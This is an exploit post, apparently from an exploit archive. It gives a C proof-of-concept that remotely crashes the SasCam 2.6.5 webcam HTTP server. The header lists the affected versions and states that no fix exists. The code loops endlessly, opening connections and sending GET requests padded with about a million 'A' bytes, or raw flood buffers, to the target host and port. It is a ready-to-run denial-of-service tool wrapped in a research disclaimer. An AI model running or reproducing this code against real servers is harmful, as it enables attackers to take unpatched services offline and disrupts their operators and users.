SasCam 2.6.5 – Remote HTTP Server Crash
/* DISCLAIMER THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!! Also the free software programs provided by fl0 fl0w may be freely distributed and that the disclaimer below is always attached to it. The programs are provided as is without any guarantees or warranty. Although the author has attempted to find and correct any bugs in the free software programs, the author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs. The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs. Author: fl0 fl0w Software: SasCam Dl link: http://soft.saschart.com/sascam_webcam_server.php Afected Versions: 2.65,2.7 and lower Remote: Yes Local: No Class: Boundary Condition Error Bug: HTTP server process termination Afected software: Windows 98 or higher{ Windows 98 Windows ME Windows NT 3.1/3.5/3.51/4.0 Windows 2000 Windows XP Service Pack 2/3 Windows Server 2003 Windows Fundamentals for Legacy PCs Windows Vista Windows Server 2008 Windows Home Server Windows 7 Windows Server 2008 R2 } Fix: No fix Compiler: gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) Advice: To avoid any problems under Windows use cygwin console. The .C code: */ #include<stdio.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<unistd.h> typedef int i32; typedef char i8; typedef short i16; #define BUFFSZ 9999999 #define GET1 "GET /" #define GET2 " HTTP/1.0\r\n" \ "\r\n" #define TITLE "-sasCam 2.6.5 remote http server crash poc\n" \ "-by fl0 fl0w\n" void copy_str(i8*,i8*,i32); void get_arguments(i32,i8**); void error_handle(void); void mset(i8*,i32,i32); void syntax(); struct{ i8* host; i16 port; i8 ping[BUFFSZ]; i32 sockets; i32 receves; i8 recvbytes[BUFFSZ]; i8 sendbytes[BUFFSZ]; i32 sizes; i32 x; i8* option; }use; int main(int argc,char** argv){ printf("%s",TITLE); get_arguments(argc,argv); struct sockaddr_in s; use.sizes=sizeof(s); s.sin_family=AF_INET; s.sin_addr.s_addr=inet_addr(use.host); s.sin_port=htons(use.port); printf("[*]connection established\n"); printf("[*]Sending packets!\n"); for(;;){ use.x++; use.sockets = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (use.sockets < 0){ printf("line 81"); error_handle(); } if (strcmp(use.option, "get") == 0){ copy_str(use.sendbytes, GET1, 5); mset(use.sendbytes+5,0x41,999999); copy_str(use.sendbytes+5+999999, GET2, 17); }else{ if(strcmp(use.option,"flood")==0){ mset(use.sendbytes+5,0x41,999999); } } if(connect(use.sockets,(struct sockaddr*)&s,use.sizes)<0){ printf("Nr of connections:%d\nline 89:",use.x); error_handle(); }else{ printf("."); } if(send(use.sockets,use.sendbytes,sizeof(use.sendbytes),0)<0){ printf("Nr of sends:\nline 96:",use.x); error_handle(); shutdown(use.sockets,1); }else{ memset(use.recvbytes,0,BUFFSZ); recv(use.sockets,use.recvbytes,BUFFSZ,0); } } printf("[*]Done!\n"); return 0; } void copy_str(i8* v,i8* w,i32 len){ memcpy(v,w,len); } void mset(i8* x,i32 y,i32 len){ memset(x,y,len); } void get_arguments(i32 argc,i8** argv){ if(argc<6){ syntax(); exit(0); }else{ i32 i; argc--; for(i=1;i<argc;i++){ switch(argv[i][1]){ case'h': use.host=argv[++i]; break; case'p': use.port=atoi(argv[++i]); break; case'o': use.option=argv[++i]; break; default:{ printf("error with argument nr %d:(%s)\n",i,argv[i]); exit(0); } } } } } void syntax(){ i8 *help[]={"\torder of arguments: -h,-p,-o", "\t-h hostname", "\t-p port(default 8080)", "\t-o option(get/flood)" }; i32 i; size_t com=sizeof help / sizeof help[0]; for(i=0;i<com;i++){ printf("%s\n",help[i]); } } void error_handle(void){ perror("\nError"); exit(1); } |